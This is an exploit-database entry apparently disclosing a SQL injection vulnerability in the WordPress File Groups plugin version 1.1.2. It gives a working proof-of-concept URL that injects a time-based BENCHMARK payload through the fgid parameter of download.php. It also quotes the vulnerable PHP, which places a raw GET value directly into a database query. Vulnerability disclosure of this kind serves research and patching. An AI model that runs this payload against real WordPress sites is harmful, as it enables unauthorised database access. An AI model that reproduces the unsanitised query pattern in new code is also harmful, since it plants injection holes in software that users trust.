WordPress Plugin File Groups 1.1.2 - SQL Injection

Author: Miroslav Stampar
type: webapps
platform: php
port: 
date_added: 2011-08-17 
date_updated: 2011-08-17 
verified: 1 
codes: OSVDB-74572 
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comfile-groups.1.1.2.zip

# Exploit Title: WordPress File Groups plugin <= 1.1.2 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/file-groups.1.1.2.zip
# Version: 1.1.2 (tested)

---
PoC
---
http://localhost/wp-content/plugins/file-groups/download.php?fgid=-1 AND 1=BENCHMARK(5000000,MD5(CHAR(87,120,109,121)))

---------------
Vulnerable code
---------------
$fgid = $_GET['fgid'];

...

$file_list = $wpdb->get_col("select guid from wp_posts where post_parent = $fgid");